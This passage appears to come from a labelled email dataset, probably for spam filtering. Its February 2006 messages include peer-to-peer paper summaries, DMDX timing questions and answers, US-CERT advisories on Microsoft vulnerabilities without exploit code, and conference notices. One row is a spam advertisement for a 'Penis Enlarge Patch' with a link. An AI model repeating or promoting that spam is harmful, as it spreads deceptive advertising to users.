having a pointer to the same home node, that will unbalance the network massively as each node sends out an object request to that node. Overall, the replication protocol is logical and would work well on DNS and other non-file sharing applications. --Kevin",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 14 Feb 2006 11:44:06 -0700",[DMDX] Re: fMRI timing revisit & some other timing questions,"At 11:28 PM 2/13/2006 -0700, you wrote: >1. > >I want clockon on item 100, but I also want the item to go as quickly as >possible, so I am thinking of putting up the smallest timeout. I tried >both and (t 17 is about a tick) and there was a 16.57 ms >difference between them in the output file. I am just wondering if >is truly the smallest timeout or it's just the imagination of my computer? How would you have a number smaller than zero? >2. > >I learned it from the DMDX Timing Notes that ""If there is no next frame in >an item DMDX simply displays that frame and moves on to the next item, >regardless of any frame duration specification"". In my scripts, I didn't >put a blank frame at the end of item 100, so there shouldn't be a timing >difference due to different frame durations. (A)-(C) below are extracted >from 3 different scripts. In (A) & (B), the duration of item 100 is >812.44 ms (49 ticks), while that in (C) is 795.86ms (48 ticks). Since I >didn't use any delay keyword, is the one-tick difference simply the result >of different ISI? If you're not using a fixed delay DMDX will take it's own sweet time to get the display up on the screen. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel",0,0 Kelvin So ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 12:01:21 -0500",Paper 6," ""Search and Replication in Unstructured Peer-to-Peer Networks"" presents a study on replication and search techniques on decentralized and unstructured peer-to-peer networks, such as Gnutella. Beehive presents a replication technique, which achieves O(1) average lookup while using low storage requirements, bandwidth overhead and network load, using for structured peer-to-peer network. Lv et. al. looks at different search and replications techniques for decentralized and unstructured peer-to-peer networks. The paper focuses on Gnutella-like systems instead of other structured peer-to-peer systems because it is used by large community of Internet users and it does not have serious research. Gnutella uses flooding with TTL(Time-To-Live) to propagate query in the network, but flooding would cause large load on the client. Therefore, they look at alternative search techniques. The first one they look at is expanding ring search. It starts using flooding with a TTL = 1, then it iteratively increases the TTL until it finds the object. The second approach they look at is random walk. Through the simulations under various network environments (Random, Power-law Random Graph, Gnutella-like, Grid) and two different query distributions, they show that both expanding ring search and random walk reduce network load by a lot when searching an object. In particular, random walk can reduce two orders of magnitude in network load. Also, they look at replication techniques, such as uniform replication, proportional replication and square-root replication. They show that square-root replication is optimal. Finally, they evaluate owner replication, path replication and random replication (instead of caching in the path of the query search, random replication cache in k random location if query visits k nodes), and show that random replication does better than path replication. However, in their simulations, they do not show bandwidth consumption which is used to replicate the objects in high-churn network. The bandwidth consumption can be high when the network has high degree of churns because it is wasteful to constantly cache objects on the short-lived node. In the second Beehive, Ramasubramanian et. al. show an proactive replication framework in structured peer-to-peer network, which can achieve average O(1) lookup latency. Query distributions are commonly Zipf-like. In Zipf-like distribution, there are a few objects that are very popular while a lot of nodes with very small demand. The most important idea is to replicate the objects based on their popularity. If the object is popular, it will be replicated everywhere in the system. If the object is not popular, it will be replicated in very few nodes and it will take longer time to route to those objects. Therefore, it can achieve an average O(1) lookup performance. By using zipf-like distribution, they analytically derive such optimal number of replicas needed to achieve O(1) lookup performance. Then, they show how to implement such a system on top of Pastry. Finally, they present results from a prototype implementation of peer-to-peer DNS service and show that it can achieve good performance and can adapt to flash crowds. ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 12:15:41 -0500",PAPER 6,"Search and Replication in Unstructured Peer-to-Peer Networks focuses primarily in improving search performance in a Gnutella-like network. The authors begin by describing the inefficiency of the flood type search scheme currently employed in Gnutella, where searches generate excessive messaging and load in the system. Flooding is simulated on several network structures, including a regular grid, random graph, power law graph, and a snapshot of the Gnutella network, and the authors note that a random graph is the optimal ""structure"" for a flooding based approach as it is the only case where the number of new nodes reached at each forward matches the number of nodes receiving a duplicate message. The authors then examine two improved approaches compared to flooding, the first they call expanding ring, and the second random walks or walkers. Previously the authors note that it is difficult to select a proper TTL for messages when flooding if the network size is unknown. The expanding ring search still floods messages, however it begins with a very small TTL and continues to raise it until the object is found. The random walkers search is based on the random walk technique, where a message is forwarded randomly to a neighbor rather than to all neighbors. The message is given a TTL, and is called a walker. Random walkers employs the use of several concurrent walkers; the authors find that 16-64 walkers gives good results. They later raise the TTL to a very high number, and instruct walkers to check in with their originating node every four hops to determine if the object has been found. They also suggest keeping a ""state"" at each node which will allow the walkers to avoid returning to nodes they have already traversed, increasing the efficiency of the search. These techniques succeed in greatly reducing the amount of message traffic in the network while retaining comparable lookup times, however a limitation of their analysis is that the latency of links in the underlying network are completely disregarded. They also do not address issues of network setup to produce a random graph. The authors also address the issue of replication to reduce search times in the network. They begin by analyzing two schemes, which they call uniform and proportional. Uniform replication replicates an even number of copies of objects across all nodes, and proportional allocates more objects to nodes which receive more requests for that object. They determine that the average number nodes messaged in each scheme is the same, however proportional replication achieves better load balancing. Also, using the proportional scheme, more popular objects have a smaller search size, and less popular objects have a larger search size. They introduce squareroot replication, where the number of replicas is proportional to the square root of the size of the network, and replicas are distributed randomly throughout the network. This scheme produces less variance in the search sizes of objects of different popularity and also less variance in load. The authors do not suggest methods of implementing the square root replication scheme. Beehive begins by noting that the O(log N) lookup times associated with structured DHTs results in latencies which are too high for certain critical applications, such as DNS. However, the query distributions associated with these applications are often known, and this structure can be exploited to guide proactive replication and yield O(1) lookup times. In particular, they address a power law query distribution that is found in DNS, web-caching, etc. They implement Beehive on top of Pastry, however they note that an prefix based DHT could be used as a substrate for Beehive. For prefix based DHTs, the author's primary insight is that replicating an object on all paths leading to a home/owner node for an object will reduce the average lookup time for that object by one hop. Beehive adjusts the size of this expanding ring of replicas such that the average lookup time across all objects is a constant. Based on the Zipf-like, or power law query distribution, the authors give closed for solutions to the problem of determining the appropriate replication level (size of replication ring) for all objects in the network. The authors note that this model is appropriate for objects which do not change frequently, such as dns, but may not be appropriate for web objects in general. In order to use the closed form solutions, the parameter for the Zipf distribution must be determined. The number of requests per object is periodically forwarded towards the home node for that object, and out from that node, to allow estimation of parameters for objects that have been replicated. In order to achieve replication, nodes push replicas to nodes matching one less prefix for the object, who may in turn push that object again, depending on it's desired replication level. In order to reduce constant movement of objects between replication levels, when a node sorts the objects at that level by popularity, it favors the nodes already at that level to remain at that level. Beehive supports mutable objects by associating a version number with objects and pushing updates from the home node. Version numbers are also propagated by nodes when they push objects to other levels for replication when object popularity changes. Beehive is simulated and compared to Pastry and Pastry with passive caching, and provides the best lookup performance of the three, averaging less than one hop. It also maintains low maintenance bandwidth. Beehive also reacts well to sudden changes in object popularity. The primary limitation of Beehive is that it requires queries to follow a certain random distribution, which is not the case for all classes of objects one may want to store in a P2P network. ",0,0 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Tue, 14 Feb 2006 12:16:00 -0700",[DMDX] Re: fMRI timing revisit & some other timing questions,"Ha! I wasn't clear about the first question. I actually wanted to ask whether (1 tick) should be the smallest timeout, rather than . If indeed is the smallest, then the world is just wonderful! :-) Thanks!! shiaohui ----- Original Message ----- From: Jonathan C. Forster To: DMDX@psy1.psych.arizona.edu Sent: Tuesday, February 14, 2006 11:44 AM Subject: [DMDX] Re: fMRI timing revisit & some other timing questions At 11:28 PM 2/13/2006 -0700, you wrote: 1. I want clockon on item 100, but I also want the item to go as quickly as possible, so I am thinking of putting up the smallest timeout. I tried both and (t 17 is about a tick) and there was a 16.57 ms difference between them in the output file. I am just wondering if is truly the smallest timeout or it's just the imagination of my computer? How would you have a number smaller than zero? 2. I learned it from the DMDX Timing Notes that ""If there is no next frame in an item DMDX simply displays that frame and moves on to the next item, regardless of any frame duration specification"". In my scripts, I didn't put a blank frame at the end of item 100, so there shouldn't be a timing difference due to different frame durations. (A)-(C) below are extracted from 3 different scripts. In (A) & (B), the duration of item 100 is 812.44 ms (49 ticks), while that in (C) is 795.86ms (48 ticks). Since I didn't use any delay keyword, is the one-tick difference simply the result of different ISI? If you're not using a fixed delay DMDX will take it's own sweet time to get the display up on the screen. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel",0,0 """R. Baker"" ",DMDX@psy1.psych.arizona.edu,"Tue, 14 Feb 2006 19:36:33 +0000",[DMDX] onscreen feedback,"I have three questions regarding onscreen feedback. I am running an experiment where participants see the words which they have typed on the computer screen. 1. Many of the words that need to be typed have apostrophes in them (eg. I'm, you're). Currently my keyboard does not register the apostrophe key. I have tried adding it to the input using the key but I get an error message saying that ' is not recognised on the input device. Is there any way to get DMDX to recognise this key? 2. Is it possible to change the onscreen text to lowercase letters instead of uppercase? 3. Which setting determines how long DMDX is open to a response? I want users to be able to type in a response for the duration of a soundfile. At the moment, the feedback disappears from the screen before the sound file has finished. My timeout is set to . If I increased this, would the response window also increase? Best, Rachel",0,0 Tudor Marian ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 12:47:12 -0500",PAPER 6,"Search and Replication in Unstructured P2P Networks - is a detailed study of more scalable alternatives to existing unstructured decentralized p2p systems with respect to the search and replication aspects. The paper compares the impact of various algorithms for several network topologies, query distribution and replication. Authors show that flooding even with controlled TTL incurs unacceptable overhead, and compare it to expanding ring and random walks, concluding that the latter coupled with the checking adaptive termination scheme and message duplicate suppression works best amongst the methods tried; authors do admit that the goal of the paper was not an exhaustive study of all search algorithms, nor do they claim that k-random walk is optimal. It is shown that the search size is minimized for replication proportional to the square root of the query relative popularity (basically the number of queries issued for objects) and that uniform and proportional distributions are significantly suboptimal. The square-root replication is approximated by finding the fixed point of a differential equation, yet there's no in depth analysis of the viable methods for solving it. The paper notes that the random replication improves upon path replication, and it's not clear why this happens, moreover there is no explanation for this behavior. Beehive considers taking the analytical approach to solving the replication problem on top of any DHT that has prefix matching routing like Pastry. Beehive uses proactive replication to yield constant lookup time for power law query distributions. Objects can be replicated at all nodes k hops backwards from the home node (of the objects in question), thus reducing the lookup latency by k hops. The replication process is iterative, starting with the home node and continuing to the nodes with ID's that have largest common prefix ids. The decision of which object to replicate and at which level is taken by running a distributed algorithm and solving a minimization problem that requires continuously estimating the popularity of objects and the power law \\alpha parameter. Power law distributions may work well for some particular type of queries like DNS, but what about non-Zipf distributions. Most p2p file sharing systems have queries that cannot be fitted appropriately by any power laws. Also the scheme works for fixed cost replication - while this might be true for small DNS entries, it is definitely not for regular file content. Moreover the minimization problem is posed in terms of reducing storage requirements at the peers, and hence lower *not minimize* the communication traffic - arguably, minimizing the communication is considerably more important, especially for entries that do not have fixed cost of replication. Paper doesn't mention how computationally expensive is the linear regression, also response to flash crowd effect might be acceptable for DNS, but it is not clear how the response time is perceived for other type of content distribution. Tudor ",0,0 Ymir Vigfusson ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 13:33:21 -0500",PAPER 6,"Beehive is an overlay system on top of a structured DHT peer-to-peer network such as Pastry. It was motivated by the performance, scalability and adaptivity requirements of many common demanding applications such as DNS and web servers. These services have query distributions that follow a power law distribution. Since the underlying P2P system is already scalable and adaptive, what Beehive adds is improved average case lookup performance, namely O(1). This is accomplished by dynamically maintaining an estimate of the popularity of the queried data, and proactively replicating popular data. Beehive maintains a fractional parameter C that dynamically adjusts to the real-time performance and ensures that C fraction of the queries are satisfied at the source node (you know the answer before you ask). If not, you will on average only ask O(1) nodes, and in the worst case O(log n). Proactive replication, as opposed to the passive replication where you e.g. store copies of the result on the paths leading there, is done by assigning a replication level i to each object, so objects at level i are replicated on nodes that have at least i matching prefixes with the object. The extremse are level 0, where an object is stored on every node, and log_b n where an object is only stored on its home node. Beehive tries to find the minimal replication level for each object to keep the average lookup time down (namely at C). The paper provides the optimization calculations and gives a closed-form solution minimizing the total number of replicas for a given object. Furthermore, the solution is optimal for power query distributions with decay parameter at most 1. For the adaptation, Beehive aggregates popularity data from a number of nodes to create an estimate of an object's popularity by using only a few samples. It turns out for an object replicated at level i, there are 2(log(n) - i) rounds of aggregation required to gather the statistics from relevent nodes (sending information back and forth). It is not crucial that the estimates are completely accurate. Beehive can be further optimized by merging the aggregation messages with the heartbeat messages sent by the underlying P2P network. Also, fluctuations in the estimates can limited by employing hysterisis (bias the system towards maintaining already existing replicas when the popularity different between two objects is small). Beehive employs versioning on its objects to achieve strong consistency, i.e. queries to a recently updated object should only return the modified object. As for joining and parting, there worries are mainly in the underlying P2P systems. Beehive uses lazy update propagation mechanism to make sure parting doesn't prevent updates from reaching nodes where objects are replicated. As for a major downside, a thorough security evaluation of the protocol needs to be performed. There are many vulnerable spots, for example misreporting popularity of an object, or getting it replicated indirectly. The search paper is a long bloated text of experimental results from analyzing different kinds of searches in a few graph models. Basically, the naive TTL flooding in a Gnutella network is shown to be bad (for example lots of duplicates). Improved methods include expanding ring search, where you increase your TTL linearly which improves the message overhead significantly compared to regular flooding. However, message duplication is still an issue, so the paper proposes doing a random walk using so-called ""checking"" where a number of random walkers periodically check with the original requester before walking to the next (random) node. The simulations in the paper show that ""checking"" seems to be the right approach for terminating search in random walks. The second part of the paper addresses replication, where uniform or proportional replication strategies are shown to lose for the optimal square-root replication in which the allocation of replicas minimize the average search size. - Ymir ",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Tue, 14 Feb 2006 16:12:49 -0500","US-CERT Cyber Security Alert SA06-045A -- Microsoft Windows, Windows Media Player, and Internet Explorer Vulnerabilities ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-045A Microsoft Windows, Windows Media Player, and Internet Explorer Vulnerabilities Original release date: February 14, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows * Windows Media Player * Microsoft Internet Explorer Overview Microsoft has released updates that address critical vulnerabilities in Windows, Windows Media Player, and Internet Explorer. Solution Apply Updates Microsoft has provided updates to remedy these vulnerabilities. To obtain the updates, visit the Microsoft Update web site. US-CERT also recommends enabling Automatic Updates. Description Microsoft Security Bulletins for February 2006 address vulnerabilities in Microsoft Windows, Windows Media Player, and Internet Explorer. These vulnerabilities may allow an attacker to take control of your computer or cause it to crash. For more technical information, see US-CERT Technical Cyber Security Alert TA06-045A. References * US-CERT Technical Cyber Security Alert TA06-045A.html - * US-CERT Vulnerability Note VU#312956 - * US-CERT Vulnerability Note VU#291396 - * US-CERT Vulnerability Note VU#692060 - * US-CERT Vulnerability Note VU#839284 - * Microsoft Security Bulletin Summary for February 2006 - * Microsoft Update - * Security Essentials - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-045A Feedback VU#692060"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History February 10, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ/JC5H0pj593lg50AQIIPQf9EhTZERIkeI2EWowcX0RQr4jNvbyQtQC2 awLdow5QxhfafEH1vY6O/4D+y6dUsBnZCZ6COqpYe15HzluxIeU/gBZleWlO0zWr Gn9EFx2fGP6xTenDDLrtzhW3pPxsHFFdr0AeKXnL4EmvP9aKCoNBP2XbJn2HxDHp Q/cV9XpWSSgIEnSVRYxWXrHsxGWkNeKSdOAOSxo8CytrG+n9LnuNG/nPsvwuoIEO hy1Lm9vUC4V87vnc07w88xlup75DHPOkPXpQJpTn0QTPA8vTolmw1u9yapOyFut2 9sR0GdUhO/ukVqODKl2K34KVlETqChAyazqLgolWdf7duy5JENI6OA== =XiAZ -----END PGP SIGNATURE-----",0,1 THEGURUGUY ,alexander@marionberry.cc.columbia.edu,,Men with big dicks are more successful in life than the ones with small dicks. So be successful with Penis Enlarge Patch.,M0re powerful org@$ms with more powerful and bigger dick from Penis Enlarge Patch. http://www.haswer.net/pt/?51&RxwCkH,1,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Tue, 14 Feb 2006 16:07:29 -0500","US-CERT Technical Cyber Security Alert TA06-045A -- Microsoft Windows, Windows Media Player, and Internet Explorer Vulnerabilities ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-045A Microsoft Windows, Windows Media Player, and Internet Explorer Vulnerabilities Original release date: February 14, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows * Microsoft Windows Media Player * Microsoft Internet Explorer For more complete information, refer to the Microsoft Security Bulletin Summary for February 2006. Overview Microsoft has released updates that address critical vulnerabilities in Windows, Windows Media Player, and Internet Explorer. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description Microsoft Security Bulletins for February 2006 address vulnerabilities in Microsoft Windows, Windows Media Player, and Internet Explorer. Further information is available in the following US-CERT Vulnerability Notes: VU#312956 - Microsoft WMF memory corruption vulnerability Microsoft applications fail to properly handle WMF (Windows Meta File) images, potentially allowing a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0020) VU#291396 - Microsoft Windows Media Player vulnerable to buffer overflow in bitmap processing routine Microsoft Windows Media Player contains a buffer overflow vulnerability that may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0006) VU#692060 - Microsoft Windows Media Player plug-in buffer overflow The Microsoft Windows Media Player plug-in for browsers other than Internet Explorer contains a buffer overflow, which may allow a remote attacker to execute arbitrary code. (CVE-2006-005) VU#839284 - Microsoft Windows TCP/IP fails to properly validate IGMP packets Microsoft Windows implementations of the TCP/IP protocol fail to properly validate IGMP (Internet Group Management Protocol) packets, leading to a denial-of-service condition. (CVE-2006-0021) II. Impact Exploitation of these vulnerabilities may allow a remote, unauthenticated attacker to execute arbitrary code with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. An attacker may also be able to cause a denial of service. III. Solution Apply Updates Microsoft has provided the updates for these vulnerabilities in the Security Bulletins and on the Microsoft Update site. Workarounds Please see the following US-CERT Vulnerability Notes for workarounds. Appendix A. References * Microsoft Security Bulletin Summary for February 2006 - * US-CERT Vulnerability Note VU#312956 - * US-CERT Vulnerability Note VU#291396 - * US-CERT Vulnerability Note VU#692060 - * US-CERT Vulnerability Note VU#839284 - * CVE-2006-0020 - * CVE-2006-0006 - * CVE-2006-0005 - * CVE-2006-0021 - * Microsoft Update - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-045A Feedback VU#692060"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Feb 14, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ/JA5n0pj593lg50AQLmuwf/U9ZRe+fwUG2v9e3/jiTKxqj5bEQ8OZWo P/9Lg5JSjNn2kJdKTFSSbrLeYcJ6GcA74ROn/zv7wevKZuZ0i7xQCKih08AtyPAk fY92F9OaOfUy9qUv2AfEUeri0qZ5+MqnOpI9A1HDT63kYwSKk0Dm6sERfHCjBiU9 jrkHmPKurM1VLUczb1ZbFgHQxFrpZVJW6ws+Kb48V7CYN55ID195mrwAKk3U49qi c+6TBwhb00Oh3BNpi5pc8PhyYZSbZxc534FKfjvRIhd2wfZTcA36y4UyKHLWNGXx W2VxbNA9LgKjVHq1gj1DH+NTlzqhQNmdbd8w5HC5J51qfGnZEfgZ+Q== =IkwB -----END PGP SIGNATURE-----",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 14 Feb 2006 15:11:37 -0700",[DMDX] Re: onscreen feedback,"At 07:36 PM 2/14/2006 +0000, you wrote: >I have three questions regarding onscreen feedback. I am running an >experiment where participants see the words which they have typed on the >computer screen. > >1. Many of the words that need to be typed have apostrophes in them (eg. >I'm, you're). Currently my keyboard does not register the apostrophe key. >I have tried adding it to the input using the key but I get an error >message saying that ' is not recognised on the input device. Is there any >way to get DMDX to recognise this key? If you've tried then probably not. >2. Is it possible to change the onscreen text to lowercase letters instead >of uppercase? No. >3. Which setting determines how long DMDX is open to a response? I want >users to be able to type in a response for the duration of a soundfile. At >the moment, the feedback disappears from the screen before the sound file >has finished. My timeout is set to . If I increased this, would >the response window also increase? Yep. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Tue, 14 Feb 2006 20:22:53 -0500",Legal Aspects of e-Repositories and e-Collections - JISC Legal Workshop/Conference,"[Forwarding from the JISC-Repositories list. --Peter.] Legal Aspects of e-Repositories and e-Collections Conference 31 May - 1 June 2006, Scarman House, University of Warwick This year's JISC Legal conference will deal with the legal issues relevant to the establishment, development and use of e-repositories and e-collections in the UK’s further and higher education sectors. The conference will consider the law in relation to digital collection building at all levels, whether in the shape of institutional repositories and depositories, regional and national depositories, project and thematic depositories, library e-collections, and even course-specific online material collections. We are pleased to announce that Dr Malcolm Read, the Executive Secretary of JISC, has agreed to chair the proceedings. The event will look at the following issues: • Ensuring copyright compliance with respect to material deposited • Ensuring robust licensing of materials for use • Dealing with copyright in cases of adaptation for reuse • The legal consequences of digital rights management systems • The database right in relation to e-repositories and e-collections • The extent of an e-repository’s liability for breach of copyright • The extent of an e-repository’s liability for defamation • The law regarding accessibility, disability discrimination and e-repositories and e-collections • The submission of personal data in e-repositories, and the consequences of data protection law In addition, there will be particular case studies considering copyright, licensing and e-repositories at different levels, and particular workshops in relation to medical, art and research e-repositories. Early booking is advised to secure a place on the conference as numbers will be restricted due to seating availability in lecture theatre. Accommodation and a social event are also available for the evening of Tuesday, 30 May, if you want to avoid an early start. Link to programme details: http://www.jisclegal.ac.uk/events/eRep_06/Programme.htm. Online booking form: The conference can now be booked online at - http://www.jisclegal.ac.uk/events/eRep_06/Booking_Form.htm We look forward to receiving your booking and seeing you there!. In the meantime, if you have any queries, please email us at events@jisclegal.ac.uk or call us on 0141 548 4939.",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Wed, 15 Feb 2006 07:56:19 -0600",ffice hours today,"Hi, I will have my office hours from 2:30-3:30PM today(Wednesday, Feb 15) at the same place (ESB 229) instead of 11:00-noon. I will mail about the make-up class for the tutorial session very soon. Sorry for all the rescheduling this week. Madhavi ",0,0 Victor Clincy ,undisclosed-recipients:;,"Wed, 15 Feb 2006 09:05:57 -0500","Friendly Reminder: Call For Abstracts & Papers: Sessions on Internet Computing, Networking and CS/CompE Education","Friendly Reminder - Deadline Feb 20th Call For Extended Abstracts & Papers Sessions on Internet Computing, Networking and CS/CompE Education The 2006 World Congress in Computer Science, Computer Engineering, and Applied Computing (WORLDCOMP'06) June 26-29, 2006, Las Vegas, NV, USA Dear Colleagues: You are invited to submit an extended abstract or paper to various conferences and sessions relating to internet computing, networking and CS/CompE Education. The world's largest gathering of researchers in computer science, computer engineering and applied computing will be held June 26-29, 2006 in Las Vegas. The 2006 World Congress in Computer Science, Computer Engineering, and Applied Computing is a major annual research event. It assembles a spectrum of affiliated research conferences into a coordinated research meeting held in a common place at a common time. You can submit extended abstracts and papers to the following conferences (see the topic lists below): The 2006 International Conference on Frontiers in Education: Computer Science and Computer Engineering (FECS'06) The 2006 International Conference on Internet Computing (ICOMP'06) The 2006 International Conference on Wireless Networks (ICWN'06) The 2006 International Conference on Communications in Computing (CIC'06) SUBMISSION OF EXTENDED ABSTRACTS AND PAPERS: Please regard this as general guidelines. Prospective authors are invited to INITIALLY submit their EXTENDED ABSTRACTS (about 2 to 3 pages - single space, font size of 10 to 12) and PAPERS directly to V. A. Clincy (vclincy@kennesaw.edu). Again, send your abstracts and papers DIRECTLY TO Vice Chair: V. A. Clincy at vclincy@kennesaw.edu If you are interested in serving as a REVIEWER, please send a current vita directly to V. A. Clincy at vclincy@kennesaw.edu The regular deadline for submission is Feb. 20th with a notification-of-acceptance (or denial) by March 20th. E-mail submissions in MS document or PDF formats are preferable (Fax or postal submissions are also acceptable.) The Vice Chair will forward the papers to respective reviewers. Extended abstracts and papers will be evaluated and fully refereed for originality, significance, clarity, and soundness. Each extended abstract or paper will be refereed by at least two researchers in the topical area. The revised, full and final papers will be reviewed by one person. If the extended abstract is accepted, the full paper must be received by April 20, 2006 and must be in camera-ready form. The length of the camera-ready papers (if accepted) will be limited to 7 (IEEE style) double-column pages. Papers must not have been previously published or currently submitted for publication elsewhere. The first page of the paper should include: title of the paper, name, affiliation, postal address, e-mail address, telephone number, Fax number for each author. The first page should also include the name of the author who will be presenting the paper (if accepted) and a maximum of 5 keywords. Also, the name of the conference that the paper is being submitted to must be mentioned on the first page. IMPORTANT DATES: Feb. 20, 2006: Regular Deadline for Extended Abstract & Paper Submission March 20, 2006: Deadline for Regular Notification of Acceptance April 20, 2006: Deadline for Full Camera-Ready papers June 26-29, 2006: TheWORLDCOMP'06 Conferences VICE CHAIR AND COORDINATOR: Dr. V. A. Clincy Kennesaw State University Department of Computer Science & Information Systems 1000 Chastain Road Kennesaw, Georgia 30144 Tel: (770) 420-4440 Fax: (770) 423-6731 Email: vclincy@kennesaw.edu Conference Topics: FECS § Accreditation and assessment § Student recruitment and retention methods § Choice of first programming language § Distance learning; methods, technologies and assessment § The balance between coursework and research § Capstone research projects: examples and case studies § Incorporating writing into CS and CE curriculum § Computer Science and Computer Engineeting Curriculum issues § Active learning tools § Innovative degree programs and certificates § Innovative uses of technology in the classroom § Preparing graduates for academia § Preparing graduates for industry § Partnerships with industry and government § Learning models § Team projects and case studies § Undergraduate research experiences § The role of visualization and animation in education § Student observation and mentoring strategies § Advising methods § Evaluation strategies (professors, students, ...) § Computer and web-based software for instruction § Proposed methods for ranking departments § Transition to graduate studies § Integrating gender and culture issues into CS and engineering curriculum § Learning from mistakes § Debugging tools and learning § Expanding the audience for CS and CE § Computers in classroom § Ethics in computer science and engineering § Undergraduates as teaching assistants § Funding opportunities for curriculum development and studies § Pilot studies § Recruiting methods to attract graduate students § Academic dishonesty in a high-tech environment § Collaborative learning § Using the web § Factors that lead to success in CS and CE Website (currently being updated): The 2006 International Conference on Frontiers in Education: Computer Science and Computer Engineering (FECS'06) http://www.world-academy-of-science.org/worldcomp06/ws/FECS/index_html Conference Topics CIC § Communication Aspects of Parallel & Distributed Algorithms § Communications in High Performance Computing § Distributed Systems and Advanced Applications (e.g. multimedia) § Grid, Peer-to-Peer Computing and Cluster-based Computing § Interconnection Networks (e.g. bus-based, optical) § Networks (e.g. management, traffic analysis) § Communication Protocols (e.g. ATM, wireless) § Scalable and Interoperable Systems and Associated Standards § Performance Issues (e.g. benchmarks, measurement, evaluation) § Architecture (e.g. VLSI, SIMD, vector, reconfigurable) § Software Systems (e.g. operating system support, middleware, tools) § Visualization (e.g. debugging and load balancing tools) § Communications in Neural Computing, Genetic Algorithms § Communications in New Computing Paradigms (e.g. optical-, nano-, bio-computing) § Modeling and Simulation of High Performance Systems § Advanced Compilation Techniques (e.g. parallelizing compilers) § Programming Languages for Parallel and High Performance Computing Environments § Reliability and Fault Tolerance § Embedded and Real Time Systems § Digital Signal Processing § Internet & Web-based Processing, E-commerce, Telecommunication Conference Topics: ICOMP § XML Technology and Applications § Internet security & trust § Internet applications and appliances § Performance evaluation of the internet § Resource management and location § Design and analysis of internet protocols and engineering § Web based computing § Web mining § Network management § Network architectures § Network computing § Network operating systems § Quality of service § Wide area consistency § Electronic commerce and internet § The WWW and intranets § Internetworking § Metacomputing § Denial of service issues § Grid based computing and internet tools § Languages for distributed programming § Cooperative applications § Tele-medical and other applications § Internet telephony § Next generation of internet + modeling and analysis § Mobile computing § Agents for internet computing § Educational applications § Digital libraries/digital image collections § Internet and emerging technologies § Internet law and compliance § Internet based decision support systems § Internet and video technologies § Internet and enterprise management § Web interfaces to databases § Internet and scalability issues § User-interface/multimedia/video/audio/user interaction § Markup Languages/HTML/XML/VRML § Java applications on internet § Alternative web lifestyles, role-playing, chat, ... § Caching algorithms for the internet § Traffic models & statistics § Server space/web server performance § Web monitoring § Web documents management § Web site design and coordination § Internet banking systems § Other aspects & applications relating to internet-based computing Conference Topics: ICWN § Wireless security § Mobile wireless QoS, radio resource management § Mobile wireless internet, IPv6 § Heterogeneous wireless networks, radio access networks § OFDM § W-CDMA, cdma2000, TD-SCDMA, ... § MIMO, adaptive antenna § Software-defined radio, reconfigurable radio networks § Wireless applications, mobile e-commerce, multimedia § Satellite-based systems § Broadcast networks § High altitude platform § GPS, location-based service § Mobile agents § Wireless & mobile applications § Multiple access § Routing, multicasting, ... § Resource management, wireless QoS § Mobile Internet § Transport-layer issues § Wireless security § Wireless network architectures § Mobile computing § Modeling, simulation, ... § Ad hoc networks, sensor networks, ... § 4G, 3.5G, 3G, ... wireless systems § Personal area networks, body wireless networks, Bluetooth § Wireless sensor networks § Coding & modulation § Multi-user detection § Power management & control, low-power protocols § OFDM, ... § Wireless IP networks, interworking § Wireless multimedia, QoS adaptation § WAP, mobile e-commerce § Location-based service, GPS § Disruption tolerant networks and applications § Distributed algorithms for wireless networks Websites (all websites are currently being updated): The 2006 International Conference on Internet Computing (ICOMP'06) http://www.world-academy-of-science.org/worldcomp06/ws/ICOMP/index_html The 2006 International Conference on Wireless Networks (ICWN'06) http://www.world-academy-of-science.org/worldcomp06/ws/ICWN/index_html The 2006 International Conference on Communications in Computing (CIC'06) http://www.cs.utep.edu/cic/index.html ",0,1 Jacques Maynard ,SPARC-OAForum@arl.org,"Wed, 